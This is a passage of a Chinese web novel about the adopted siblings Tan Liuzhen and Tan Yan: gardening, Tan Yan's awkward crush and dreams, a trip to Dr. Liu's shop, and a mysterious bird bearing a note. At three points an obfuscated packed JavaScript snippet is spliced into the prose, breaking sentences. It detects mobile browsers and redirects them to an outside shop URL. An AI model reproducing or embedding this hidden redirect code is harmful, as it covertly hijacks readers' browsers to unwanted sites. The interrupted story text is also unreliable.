谭柳真和谭晏还是听从了张大娘的建议,在院子里的空白角种起了菜。 鼎山落在大汉的西南角,他们住在山腰上,虽比不得谷底那般温暖,但冬天也还是能种些作物。 张大娘说,这时候种些小白菜、菠菜、芫荽,耐寒,开春就能吃上。 昨天,谭柳真和谭晏闲来无事,就去镇上讨了菜苗子回来。吃了早饭,两人就忙活开了。 谭晏抡起锄头刨地,谭柳真蹲在旁边,把菜苗子一棵一棵埋进土里。谭柳真的手还是不太方便,只能一只手使力,另一只手勉强帮着扶一扶苗子。 谭晏看见了,手上的锄头抡得更快了些,想赶紧把地刨完,好让阿姐少蹲一会儿。 太阳慢慢升高了,照在身上暖洋洋的。有福在院子里跑来跑去,一会儿追着自己的尾巴转圈,一会儿又凑到谭晏脚边,拿鼻子去拱他刨出来的土。可爱的模样惹得谭柳真哈哈大笑。 谭晏刨着刨着,脸上突然热起来。 那股热从脸颊一路往下窜,窜到脖子根,窜到耳朵尖,貌似想起了什么不太合时宜的东西…… 白生生的,细细的,脚腕子上还沾着泥…… 他低着头,使劲刨地,锄头抡得虎虎生风,恨不能把那些乱七八糟的念头从脑子里刨出去。偏偏越不想想,那画面越往脑子里钻。 他偷偷抬头看了谭柳真一眼。谭柳真正专心致志地埋苗子,没注意他。她弯着腰,额前碎发垂下来,被她随手别到耳后。 谭晏赶紧低下头,忽然,脚边有动静。 谭晏低头一看,是有福。它这会正撅着屁股,拿两只前爪使劲刨坑。刨两下就把自己的鼻筒子埋进去,神经兮兮的嗅了嗅,又接着刨,再闻一闻,再埋进去。 那副傻样,活像一只在土里找食儿的野猪崽子。 谭柳真看见了,终于忍不住再次捂着嘴笑起来,眼里亮晶晶的。 “阿晏,你看它,你看有福。” 谭柳真笑得前仰后合,谭晏看着她笑,心里的那点燥热不知不觉散了些。 结果晚上,他又做梦了,而且醒来的时候心跳得厉害,身上也出了一层薄汗。 他听见雨声,外头下雨了,下得还不小,哗哗的,打在窗纸上噼啪响。 谭晏愣了一瞬,他一把掀开被子,低头看了看。 果然。 他轻手轻脚爬起来,摸黑穿上衣裳,把被子卷巴卷巴抱起来,推开门往外走。 外头黑漆漆的,雨下得正大。堂屋里有一盏油灯,是谭柳真睡前点的,这会儿还剩个底儿,昏黄的灯光照着,勉强能看清东西。 谭晏抱着被子,在堂屋里站了一会儿,不知道该往哪儿放。外头下着雨,晾是晾不了的。可这被子也不能就这么放着,不然明天准得发臭。 他想来想去,只能先打水洗了。 灶房里有口大缸,里头存着水。谭晏轻手轻脚舀水,倒进木盆里,把被子泡进去,使劲搓。 雨声很大,盖住了他这边的响动。他松了口气,继续搓。 搓着搓着,忽然觉得脚边有什么东西在动。 他低头一看,是有福。 有福不知什么时候醒了,颠颠儿跑过来,拿脑袋蹭他的腿。蹭了两下,大概觉得冷,又往他腿弯里缩。 谭晏手上都是水,没法抱它,只能拿膝盖轻轻顶了顶,示意它一边儿去。有福不干,呜呜叫着,蹭得更来劲了。 谭晏没办法,三两下把被子搓完,拧干,搭在灶房里的竹竿上。这才弯腰把有福抱起来。 有福一进他怀里,立马缩成一团,把小脑袋埋进他臂弯里,哼哼唧唧的,没一会儿又睡着了。 谭晏抱着它,站在灶房门口,朝外头看。 雨还在下,哗哗的,打在院子的泥地上,溅起一片片水花。天黑得厉害,只能隐隐约约看见院子里的轮廓,还有他们白天一起种的那块地。 菜苗子刚种下去,也不知道经不经得起这么大雨淋。谭晏想着,要是被雨冲歪了,得扶一扶。 正想着,身后忽然传来脚步声。 谭晏一回头,看见谭柳真披着衣裳站在堂屋门口,一只手拢着衣襟,正看着他。 “阿晏?”谭柳真的声音带着刚睡醒的沙哑,“这大半夜的……” 她说着,目光越过他,看见灶房里竹竿上搭着的被子,愣了一下。 “怎么又洗被子?” 谭晏心里一紧,脸上又开始发烫。他抱紧了有福,拿它挡在自己身前,支支吾吾道:“是、是有福。” 谭柳真挑眉:“有福?” “它老往我被窝里钻,”谭晏低着头,声音越说越小,“昨晚上又钻了,把被子弄得……弄得都是泥。” 有福在他怀里哼哼了一声,像是抗议。谭柳真看看他,轻轻笑了一声。 “行了,”她说,“回去睡吧,这大半夜的。” 谭晏抱着有福站在原地,谭柳真看着他,顿了顿,又道:“其实我的手也没那么严重了,都养了这么些日子。你要是想回自己屋睡,也可以。” “我……”他张了张嘴,忽然觉得耳朵根子又烫起来,“我、我没事。” “那随你。睡吧,天快亮了,你把你屋里的那床棉被拿出来睡吧。” 她转身进了里屋。 谭晏抱着有福,在灶房门口站了好一会儿,才慢慢走回自己的铺上。 躺下来的时候,心跳还是快的。 他说不清心里是什么滋味,只是感觉自己突然变得很奇怪。 耳朵根子一直红到天亮。 第二天早上,雨也还是没停,吃早饭的时候,谭柳真说:“今儿得去镇上抓药。” 她的药吃完了,这几日手上又开始隐隐作痛。大夫说过,这药得连着吃,不能断。 谭晏放下碗,看了看外面的暴雨,现在雨天路滑,万一又摔倒,阿姐的伤怕是好不了了,所以他道: “我一个人去就好了,今天路太滑,摔倒就不好了。” 谭柳真看他一眼:“你认得路?” “认得,”谭晏说,“我记得。” 谭柳真想了想,点点头:“那行,你慢些走。” 谭晏应了一声,三两下扒完饭,谭柳真起身去拿蓑衣斗笠和雨伞,可谓是全副武装。 谭晏走了小半个时辰,总算到了镇子边上。 镇子入口有个亭子,是供人歇脚的地方。谭晏经过的时候,忽然听见有人喊他。 “哎——那位小兄弟——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282669|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭晏停下脚步,转头看去。 亭子里站着个年轻男子,二十出头的年纪,生得浓眉大眼,一脸的热络。他没带伞,也没穿蓑衣,身上淋得半湿,正朝他挥手。 谭晏犹豫了一下,还是走了过去。 那男子见他过来,咧嘴笑了,露出一口白牙:“小兄弟,捎我一段成不成?我也进镇,这雨刚停,路上还湿着呢,我没个伞,走不了,你又穿蓑衣又带伞的,和我挤一把伞成不成?” 谭晏看着他,没立刻说话。 男子又道:“我就到镇上,不远不远,你随便捎我一程就成。” 谭晏想了想,点点头:“我去刘大夫铺子那儿,能送到那儿。” 男子一拍大腿:“哎哟那可太好了!我也是去那儿!” 谭晏愣了愣。 男子笑道:“刘大夫铺子里要招个帮忙挑拣草药的,我托人说上了,今儿就是去上工的。咱俩正好一路!” 谭晏看着他,没说话,只是悄悄打量了他一番。 这人个子挺高,比他还高半个头,身板也壮实,看着就是干惯了活的。说话的时候嗓门大,笑起来没心没肺的,是个话多的热心肠。 看来这就是刘大夫选好的帮手了。 两人一起往镇上走。 果然是个话多的。 一路上,那男子的嘴就没停过。 “我叫李大牛,家里排行老二,你叫我二牛就成。我家就在镇外头的李家村,种地的,我爹我娘我大哥我大嫂我弟弟我妹妹,一家七口。我大哥娶了媳妇,我还没娶,我娘整天叨叨,让我赶紧说一个。我说急什么急,先把活干上再说……” 谭晏默默听着,偶尔点点头,一声没吭。 二牛也不介意他话少,自顾自说得热闹。 “小兄弟你叫啥?住哪儿?是刘大夫家亲戚不?你也是去铺子里帮忙的?咱俩以后是不是要一块儿干活?” 谭晏看了他一眼,简短道:“不是。我抓药。” “哦哦,抓药,”二牛点点头,“那你认识刘大夫不?他还有个闺女,你知不知道?” 谭晏没吭声。 二牛还在絮叨:“要我说那长得,简直是——仙女下凡!” 他嘿嘿笑了两声,谭晏看了他一眼,还是没说话。 走着走着,就到了刘大夫的铺子。谭晏刚走到门口,里头就迎出一个人来。 刘杏儿穿一身青布衣裙,头发挽成两个小髻,用红绳扎着,迎了出来。她看见谭晏,眼睛一下子亮了,脸上浮起两团红晕,快步迎上来。 二牛在一旁看见这阵仗,愣了一下,随即脸上笑开了花。 他往前跨了一步,朝着刘杏儿直摆手:“杏妹妹~” 刘杏儿看了他一眼,脸上的笑容顿时淡了下去。 她转向谭晏,声音又变得软和起来:“谭晏哥,你今儿怎么来了?是抓药吗?你阿姐的手好些了没?” 谭晏点点头:“好多了。来抓药。” “那你快进来坐,”刘杏儿侧身让开,又回头朝里头喊,“爹——谭大夫的弟弟来了——” 二牛伸出去的手悬在半空,讪讪收了回来,但脸上并无半点尴尬。 谭晏看了他一眼,没说什么,抬脚进了铺子。 23.你和你阿姐长得一点都不像 刘大夫正坐在柜台后头,手里拿着一杆小戥子,往柜台上的几张桑皮纸里分药。见谭晏进来,他抬起头,笑着点了点头: “来啦?给你阿姐抓药?” 谭晏应了一声,走到柜台前站定。 刘杏儿跟在他后头进来,熟门熟路地绕到柜台里侧,站在刘大夫旁边,眼睛却一直往谭晏身上瞟。 她伸手把柜台上的药包往边上挪了挪,又拿抹布擦了擦本就不脏的台面,嘴里道:“爹,谭晏哥来了,你先给他抓药呗。” “知道知道,”刘大夫头也不抬,“急什么,这不正配着吗?” 刘杏儿撇了撇嘴,没再说话,只是一边假装整理药柜,一边时不时拿眼睛瞄谭晏。 李大牛也跟进来了。 他站在柜台外头,嘴里啧啧有声:“杏妹妹,你天天在这儿待着,是不是把药名都认全了?” 刘杏儿脸上的笑容僵了一瞬,随即又端起来,温温柔柔道:“还、还没呢,好些药我也认不全。” “那没事,慢慢学嘛!”李大牛往前凑了凑,“咱俩一起学,你有啥不懂的问我,我有啥不懂的问——” “李大哥,”刘杏儿打断他,笑容不变,声音却紧了几分,“你先去那边坐着等会儿吧,我爹抓药的时候不习惯旁边有人站着。” 李大牛挠了挠头:“我这不是站着吗?我又没出声。” 刘杏儿噎了一下。 谭晏站在柜台前,目光落在刘大夫手上的戥子上,像是没听见旁边这动静。 刘大夫配药配得仔细,一味一味地称,一味一味地往纸上倒。刘杏儿在旁边看着,一会儿递个药碾子,一会儿递张桑皮纸,手脚勤快得很。只是每递一回东西,就要往谭晏那边看一眼。 李大牛也不闲着,凑在柜台边上,一会儿问“这黑乎乎的是啥药”,一会儿问“这干巴巴的是啥根”,问得刘杏儿脑仁疼。 “这是熟地,”她咬着牙,面上还挂着笑,“那是当归。” “哦哦,熟地,当归,”李大牛点点头,又指着另一包,“那这个呢?” “川芎。” “川——芎——,”李大牛念叨着,“川芎是治啥的?” 刘杏儿深吸一口气:“活血的。” “活血啊,那我能吃不?我有时候干活累了,身上也疼——” “不能。” 刘杏儿答得干脆。 李大牛愣了愣,也不恼,嘿嘿笑了两声:“杏妹妹懂得真多。” 刘杏儿没接话,只是偷偷翻了个白眼。翻到一半,忽然想起谭晏在旁边,硬生生把那白眼收了回去,改成低头抿嘴一笑,瞧着倒像是害羞了。 李大牛看在眼里,心里门儿清。他是不聪明,可也不傻。 这杏妹妹看谭晏那眼神,眼珠子都快粘人家身上了;看他的时候嘛……就跟看柜台上的药碾子似的,还是个用得不太顺手的药碾子。 不过李大牛也不丧气。 他刚才在旁边观察了半天,发现一件事: 谭晏压根不看刘杏儿。 刘杏儿递药碾子,他接过来转手给刘大夫;刘杏儿问“谭晏哥你冷不冷”,他说“不冷”;刘杏儿说“外头雨真大”,他“嗯”一声。 李大牛心里有了底。这谭晏对杏妹妹没意思,那他就还有机会。而且杏妹妹今天对他态度比平时好多了。 虽然还是不怎么搭理他,但至少没骂他。托谭晏的福。 这么一想,李大牛看谭晏的眼神都亲切了几分。 刘大夫终于把药配完了。他把几包药捆成一摞,递给谭晏:“行了,这是半个月的量。回去给你阿姐煎,还是老样子,三碗水煎成一碗,饭后喝。” 谭晏接过药,点点头:“谢谢刘大夫。” “客气啥。”刘大夫摆摆手。 刘杏儿忽然从柜台底下摸出一个小布包,塞到谭晏手里。 谭晏低头看了看:“这是……” “糖,”刘杏儿脸微微红着,“我爹配的药苦,你阿姐喝着肯定嫌。这糖是甘草和陈皮熬的,甜甜的,还有点橘子味儿,煎好药之后搁一勺进去,就不苦了。” 她顿了顿,又补充道:“我给你包了一大包,肯定有多余的,你……你自己也能留着吃。” 谭晏愣了一下,随即点点头:“谢谢。” 他把糖包和药包一起收好,揣进怀里。 李大牛在旁边看着,忽然来了一句:“谭晏,你是谭大夫的弟弟啊?看不出来嘛。” 谭晏动作顿了顿,抬起头看他:“看不出来?” “看不出来,”李大牛摇头晃脑地打量着谭晏,“长得就不像啊。” 谭晏眉头微微皱起:“什么意思?” 李大牛笑道:“我们中原人不都长得白白净净、斯斯文文的嘛?你瞧瞧你这——浓眉大眼,鼻梁还这么高,眼睫毛还这么长,”他凑近了些, “你真的是中原人?” 谭晏心里忽然咯噔了一下: “我……” “我长得很奇怪吗?” 李大牛被他这问题逗笑了:“奇怪?哪儿奇怪了?好看得很!我要长你这样,我娘早就给我说上媳妇了!” 他说着,又补了一句:“你阿姐长得也好看,端庄大方,” 谭晏听到这,眼里却突然暗了下来,脸色一沉。 “一看就是好人家的姑娘。不过你俩长得是真不像,你像……” 他想了想,没想出像什么,摆摆手道:“反正就是不像。” 李大牛看他好像不太高兴,挠挠头,又道:“你阿姐对人可真好。她手咋伤的?我听杏妹妹说,是让流民给弄的?” 谭晏点头。 “流民?”李大牛瞪大眼睛,“你们遇上流民了?那玩意儿可凶得很!你们……” 刘杏儿在旁边接话道:“谭晏哥可厉害了,一个人打三个流民,把那帮人全打跑了。他阿姐是为了护着他才受的伤。” 李大牛眼睛瞪得更大了:“一个人打三个?谭晏,你可以啊!” 他往前凑了凑,一脸兴奋:“你练过?会功夫?教教我呗?我力气大,就是不会打架,你教教我,以后有人欺负杏妹妹我也能护着——” “行了行了,”刘杏儿终于忍不住打断他,“李大牛,你不是来上工的吗?站这儿聊什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285529|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么天?后头院子里的药材还没搬呢,你去搬去。” 李大牛嘿嘿笑着:“行行行,我这就去搬。谭晏,回头咱俩再聊啊!” 他说着,一溜烟往后院去了。 刘杏儿看着他背影消失在门口,这才松了口气,转回头来看谭晏,脸上又浮起那两团红晕。 “谭晏哥,你别理他,他那人就是话多,其实人不坏。” 谭晏点点头,没说什么。 刘大夫把药方子又核对了一遍,嘱咐谭晏道:“回去告诉你阿姐,这药吃完再来看看,到时候我给她把把脉,看看要不要换方子。” 谭晏应了,把药和糖都收好,道了别,转身往外走。 刘杏儿送到门口,看着他的背影消失在雨幕里,才慢慢走回来。 谭晏撑着伞,怀里揣着药包和糖包,踩着泥泞的路往回走。 雨还在下,不算大,但细细密密的,打在伞面上沙沙响。山路比来时更难走了,一脚下去一个坑,泥水直往鞋里灌。谭晏走得很慢,小心避开那些太滑的地方。 脑子里却乱糟糟的,一会儿是李大牛那句“长得就不像”,一会儿是阿姐的脸,一会儿又是那个梦。 长得不像…… 他低头看了看自己的手。手指修长,骨节分明,和谭柳真那双因为干活而有些粗糙的手确实不一样,他再多干点农活就像了。 他想起之前村里人看见他,总会多看几眼,有人悄悄嘀咕“这娃长得怪好看的,不像山里人”。他那时候不懂,现在想想…… 谭晏摇摇头,把这些念头甩出去。走了大半个时辰,总算看见自家院子了。 雨雾里,那几间土坯房影影绰绰的,炊烟从烟囱里冒出来,被雨打散,缭缭绕绕地飘在半空。谭晏脚步快了些,推开门,走进院子。 然后他愣住了。 一股香味扑面而来。 是米粥的香味,暖暖的,糯糯的,混着柴火的气息,直往鼻子里钻。 那香味暖暖的,像是能把这阴冷的雨天都驱散几分。 谭晏顺着香味望过去,发现柴房里正往外冒着火光。 他走过去,站在柴房门口往里看。 谭柳真正坐在火堆旁边。火堆架得稳稳的,上头吊着一只小铁锅,锅里咕嘟咕嘟煮着粥,米香就是从那里飘出来的。 火光照在她脸上,把她的轮廓映得柔和又温暖。她低着头,正往火堆里添柴,动作慢慢的,带着几分悠闲。 旁边还放着几块奇怪的东西: 白白的,方方正正的,像是砖头,又比砖头大些,胖乎乎的摞在一起。 谭晏看呆了。 谭柳真听见动静,抬起头来,看见他站在门口,笑了笑。 “回来啦?” 谭晏点点头,走进柴房,把伞收起来靠在门边,又解下蓑衣斗笠。 “阿姐,”他看着那几块白胖胖的东西,“这是啥?” 谭柳真顺着他的目光看去,眼里有几分得意:“这个?你猜。” 谭晏蹲下来,仔细看了看。那东西表面光光的,摸着还挺硬,敲一敲——邦邦响。 “……砖头?” 24.透着古怪的一晚 谭柳真笑着说:“这是糍粑,用糯米做成的。” 她挑了一块已经烤得有些微微焦黄、还有点鼓起来的糍粑,递给谭晏:“尝尝,小心烫。” 谭晏接过来,烫得他在手里颠了两下,凑到嘴边吹了吹。 谭柳真又道:“你去厨屋里,从泡菜坛子里取点泡菜来。这糍粑要配上泡菜吃才香,光吃太腻了。” 谭晏点点头,拿着糍粑往厨屋走。他边走边盯着手里的糍粑看。 糍粑暖乎乎的,散发着一阵阵米香,外头烤得焦黄,里头白嫩嫩的,他咬了一口。 烫,但是真的很香。 糯米的甜香混着一点点焦香,在嘴里化开,软软糯糯的,嚼起来又带点韧劲。谭晏眯了眯眼睛,又咬了一口。 等他从泡菜坛子里捞了几块酸萝卜、酸豆角出来,回到柴房时,手里的糍粑已经少了一半。 谭柳真看见,笑了:“好吃吧?” 谭晏点点头,把泡菜递给她,蹲回火堆边。他掰了一块糍粑,就着酸萝卜咬了一口,咸酸爽脆正好解了糯米的腻,确实更香了。 正吃着,脚边忽然有什么东西在拱。 谭晏低头一看,是谭有福。 小狗仰着脑袋,黑溜溜的眼睛直勾勾盯着他手里的糍粑,尾巴摇得跟风车似的。 谭晏犹豫了一下。 谭柳真看见了,笑道:“给它尝一点,没事。” 谭晏便掰了一小块,喂到谭有福嘴边。小狗一口叼住,吧唧吧唧嚼了两下,咽下去,又仰起头看他,尾巴摇得更欢了。 谭柳真也在自己手上掰了一块,喂给有福,笑道: “行了,它尝个味就得了,它吃过饭了。” 有福舔了舔嘴,似乎意犹未尽,在两人脚边转了两圈,见确实没有了,才乖乖趴到谭晏脚边,脑袋搁在前爪上,眼睛却还盯着谭晏手里的糍粑。 谭柳真指了指火堆:“那边还埋着红薯呢。” 谭晏顺着她指的方向看去,果然,火堆边缘的灰烬里,有几个鼓包,隐隐能看见红薯皮的颜色。 谭柳真咬了一口糍粑,忽然想起什么,道:“对了,这糍粑和红薯,都是张大娘拿过来的。” 谭晏愣了一下,抬起头。 “我都忘记还有烤红薯这一茬了。哪天等我手好了”谭柳真低头拨弄着红薯皮, “张大娘一个人在家没事,就过来找我作伴。她提了一篮子东西来,说是家里刚打的糍粑,还有窖里存的红薯,让我们尝尝。” 谭晏没说话,慢慢啃了一口手里的糍粑。 “平时其实都是我去找她的,”谭柳真笑了笑,“这次不是手不方便嘛,她反倒过来了。” 谭晏低着头又咬了一口糍粑。 “阿晏,张大娘是个好人。” “她一个人过日子不容易,丈夫去世得早,儿子又充军,一年到头回不来几回,”谭柳真把红薯掰成两半,吹了吹热气, “有时候我心里也难受,她就来陪我说话。这些年,多亏有她。” 她看着谭晏,眼神认真:“我知道你看她……可能不太喜欢她。但她对咱们是真好。” “她没什么坏心眼。”谭柳真轻声道,谭晏低下头,嚼着嚼着,慢慢点了点头。 “今天一直下雨,”谭柳真往火里添了根柴,“我想着,这雨下起来没完,被子潮乎乎的,再不烤一烤就该馊了。正好生堆火,烤烤被子,顺便烤点东西,今晚的晚饭也可以省了。” 谭晏这才注意到,柴房里拉了几根绳子,上头搭着两床被子。 被面离火堆不远不近,正好被热气烘着,潮气一点点散开,被子看起来蓬蓬松松的。 火光照在被面上, 谭晏忽然觉得心里有什么东西轻轻动了一下。 谭柳真抬起头,对上他的目光,笑道:“看我干什么?吃你的呀。” 谭晏猛地低下头,狠狠咬了一口糍粑。 他把最后一口糍粑塞进嘴里,嚼得很用力,像是要把那些乱七八糟的念头一起嚼碎咽下去。 可那股异样的感觉忽然变得尖锐起来,从心底涌起,一路往下,直冲得他浑身发僵。 他夹紧双腿,整个人僵在那里,一动也不敢动,脸烧得像要着火。 他不敢抬头,不敢看阿姐,甚至不敢大口呼吸。生怕任何一个细微的动作,都会暴露什么。 可越是压抑,那股躁动就越是横冲直撞。 “你脸怎么这么红?” 谭柳真的声音忽然响起。 谭晏浑身一僵,声音都变了调:“没、没有……” “还说没有,”谭柳真看着他,“跟烧着了似的。是不是烤火烤太近了?” 她往旁边挪了挪,让出一个位置:“你往这边坐坐,离火远点,那边没那么热。” 谭晏点点头,却没动。 “阿晏?”谭柳真疑惑地看着他。 “我知道,”谭晏声音发紧,“……一会儿再挪。” 谭柳真觉得有点奇怪,但也没多想,低头继续拨弄火堆里的红薯。 就在这时,柴房那扇破旧的窗户忽然被风吹开一条缝。 一股冷风灌进来,带着雨丝的凉意,直直扑向火堆。火苗被吹得东倒西歪,一股浓烟从火堆里腾起,正好扑向谭晏。 “咳咳咳——” 谭晏被呛得满眼是泪,捂着嘴剧烈咳嗽起来。这一咳,倒把那股僵硬的窘迫咳散了几分,他赶紧借着咳嗽站起身,往旁边躲。 谭柳真连忙站起来,把窗户重新关严实,又回头看他:“呛着了吧?快过来,站这边。” 她指着上风向的一个位置:“这边烟飘不过来,你站这儿。” 谭晏揉了揉眼睛,点点头,却没动。谭柳真奇怪地看着他:“阿晏?” 谭晏张了张嘴,想说什么,却只发出一个含糊的音节。 因为那股躁动还没完全消下去。他只能站在那里,浑身僵硬,像个木头桩子似的杵在原地。 谭柳真终于觉得不对劲了。 她站起身,向他走过去:“你怎么了?是不是哪里不舒服?” 说着,她抬起左手,就要去探他的额头。 谭晏瞳孔猛地一缩。动作大得差点摔倒。然后不等谭柳真反应过来,他已经转身冲出了柴房,几步跑到门口,背对着她站定。 “阿晏?”谭柳真被吓了一跳,站在柴房门口看着他,“你到底怎么了?” 谭晏背对着她,大口大口喘着气。冷风夹着雨丝打在脸上,冰凉冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291185|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉的,却浇不灭他脸上的滚烫。 “没事,”他声音发紧,“这里凉快。” 谭柳真愣了愣。 凉快? 外头下着雨,冷风直往脖子里灌,这叫凉快? 她正要再问,谭晏已经抢先开口:“阿姐,我困了。” 他的声音闷闷的,像是从嗓子眼里挤出来的:“我……我先去睡了。” 说完,他也不等谭柳真回答,抬脚就往自己屋里走,走得很快,几乎是逃一样的。 谭柳真站在柴房门口,看着他的背影消失在对面屋里,好一会儿没反应过来。 她掰开一个红薯,热气腾腾地冒了出来,金黄色的瓤露出来,甜香扑鼻。她吹了吹,咬了一口,又掰了一小块喂给谭有福。 小狗吧唧吧唧嚼着,尾巴摇得欢实。 谭柳真看着它,笑了笑,又抬头看了一眼对面那间黑漆漆的屋子。 屋里没有点灯,想来谭晏是真困了,已经睡下。她收回目光,正要低头继续收拾火堆,余光却忽然瞥见什么。 院子外头那棵老槐树上,有一个黑黢黢的影子。 谭柳真动作顿了顿,定睛看去,是一只鸟。 漆黑的鸟,站在枝头,一动不动。雨还在下,细密的雨丝打在它身上,它却像浑然不觉,只是静静地立在那里。 谭柳真心里忽然生出一丝异样。那鸟的眼睛,红色的眸子正直直地盯着她。 隔着雨幕,隔着夜色,那双眼睛却像能看穿一切,一眨不眨地落在她身上。谭柳真慢慢站起身,与那只鸟对视。 她往前走了一步。 哗啦—— 柴房旁边的矮树上,几只麻雀受惊飞起,扑棱着翅膀消失在雨夜里。更远些的篱笆上,两只斑鸠也扑腾着飞走,转眼没了踪影。 可那只漆黑的鸟没动。它仍旧站在枝头,眼睛仍旧盯着谭柳真。 谭柳真心跳忽然快了一拍。她绕过柴房,踩着泥泞的院子,一步一步向那棵老槐树走去。 走近了,才看清那只鸟的模样。通体漆黑,比寻常的乌鸦要小一些,羽毛在雨里湿漉漉地贴在身上,可那双眼睛亮得惊人。 它看着她,一动不动。谭柳真目光往下移,落在它的脚上。 那里绑着一个小小的竹筒,细麻绳缠得紧紧的。 她的手微微颤了一下,抬起左手,费力地把那个小竹筒解下来。竹筒很细,只有小指粗细,一头封着蜡。她捏着竹筒,指尖发凉。 那只鸟这才动了。 它抖了抖翅膀,振翅飞起,在谭柳真头顶盘旋一圈,然后头也不回地消失在雨夜里。 谭柳真站在原地,雨水顺着脸颊往下淌,她却像感觉不到。 她低头看着手里的小竹筒,心跳越来越快。扑通、扑通、扑通。像擂鼓一样,震得她耳膜发疼。 她用左手捏着竹筒,右手的手指颤抖着掰开那层封蜡。竹筒里卷着一小卷纸条。 展开纸条,雨打在上面,墨迹却没有晕开。谭柳真的脸色发白,她借着柴房里透出的微弱火光,一个字一个字看过去…… 雨越下越大了。 远处的山林里,忽然扑棱棱惊起一片禽鸟,从黑漆漆的树林里腾空而起,在夜空中惊惶地四散飞去。 25.出谋划策 刘大夫家的柴房里,谭晏正蹲在角落,一脸苦恼地看着面前的人。 李大牛靠在柴垛上,嘴里叼着根草茎,斜着眼睛看他:“你先说清楚,到底怎么回事?跟你阿姐吵架了?” “不是吵架……” “那是啥?” 谭晏张了张嘴,又闭上,脸憋得通红。 李大牛看他这副模样,更好奇了:“你倒是说啊!吞吞吐吐的,急死个人!” 谭晏低下头,盯着地上的干草,闷声道:“就是……就是最近老是做一些奇怪的梦。” “梦?”李大牛一愣,“啥梦?噩梦?那你去找刘大夫开副安神的药啊,找我干啥?” “不是噩梦……” “那是啥梦?” 谭晏又不说话了。 李大牛等了一会儿,见他没有开口的意思,正要再问,忽然瞥见谭晏那张红得快要滴血的脸,心里咯噔一下。 不对劲。 他坐直身子,压低声音道:“老弟,你老实跟我说,你那梦……怎么个不对劲法?” 谭晏低着头,声音跟蚊子似的:“……热热的。” 热热的? 李大牛脑子里轰的一声,嘴里的草茎啪嗒掉在地上。 我的老天爷啊! 他瞪大了眼睛,死死盯着谭晏,嘴唇哆嗦了几下,才艰难地挤出几个字: “你……你该不会!“ 慌忙看了四周无人,方才压低声音问道:“喜欢上你阿姐了吧?!” 谭晏猛地抬起头,脸涨得通红,表情十分茫然,像是听不懂他在说什么。 “还没有?!”李大牛一把抓住谭晏的胳膊,往后一仰,差点摔倒。他稳住身子,看着谭晏那张红得能滴血的脸,啧啧了两声。 “还说没有,”他指着谭晏的鼻子,“你看看你这脸,红成啥样了?” 谭晏想反驳,可嘴张了半天,一个字都说不出来。 李大牛见他不说话,更来劲了:“你想想啊,你做梦梦到她。” “这叫啥你知道吗?这叫日有所思夜有所梦!” “你听我说,你这症状,典型的!典型的!” 李大牛掰着手指头给他数,“你看啊,第一,你天天往人家跟前凑;第二,你动不动就脸红;第三,你做梦梦见人家;第四,你你你,你身上都有反应了那还说啥啊。” 谭晏被他这一连串话说得目瞪口呆,想反驳却找不到话,只能干瞪着他。 李大牛得意洋洋地抱起胳膊:“怎么样,没话说了吧?” “哎,等等……”他突然紧急想起来什么似的: “你确定你只梦到了你阿姐对吧?没有别人吧??” 谭晏摇了摇头,李大牛顿时就松了口气。 谭晏憋了半天,憋出一句:“你怎么知道这些?” 李大牛往墙上一靠,翘起二郎腿:“这你就不懂了吧?哥哥我虽然没娶媳妇,可我看得多啊!村里的后生们谈情说爱的时候,那眼神,那动作,那表情。跟你一模一样!” 谭晏愣住了。 李大牛见他这副模样,又凑过去,拍拍他的肩膀:“兄弟,你这事儿,说大不大,说小也不小。毕竟你们虽然不是亲姐弟,可在村里人眼里,那就是姐弟。你要是真动了那心思,可得想清楚了。” 谭晏张了张嘴,正要追问,外面忽然传来一声喊: “李大牛!李大牛!快来帮忙搬药材!” 是刘杏儿的声音。 李大牛“哎”了一声,站起来,拍拍屁股上的灰,对谭晏说:“我先去干活,回头再说。” 谭晏一把抓住他的袖子:“你还没说完呢。” 李大牛挠挠头:“这事儿啊,一时半会儿说不清楚,等你哪天有空,咱慢慢聊。” 谭晏急了:“这么麻烦么?” 李大牛点点头:“那肯定啊!你这事儿,可不是三言两语能讲完的。” 他顿了顿,忽然压低声音,凑到谭晏耳边:“不过你放心,我不会告诉别人的。但是你得知道,这事儿在村里得避讳着点,万一让人知道了,传到你阿姐耳朵里——” 他故意拖长了声音。 谭晏脸色一变:“怎么样?” 李大牛严肃地看着他:“搞不好你阿姐会觉得你……那啥,然后讨厌你。” 谭晏的脸一下子白了。 “那怎么办?”他抓住李大牛的袖子,声音都变了调,“那怎么办?” 李大牛正要说话,柴房的门被推开了。 刘杏儿端着一盆东西走进来,看见谭晏,眼睛顿时亮了亮:“谭晏哥。” 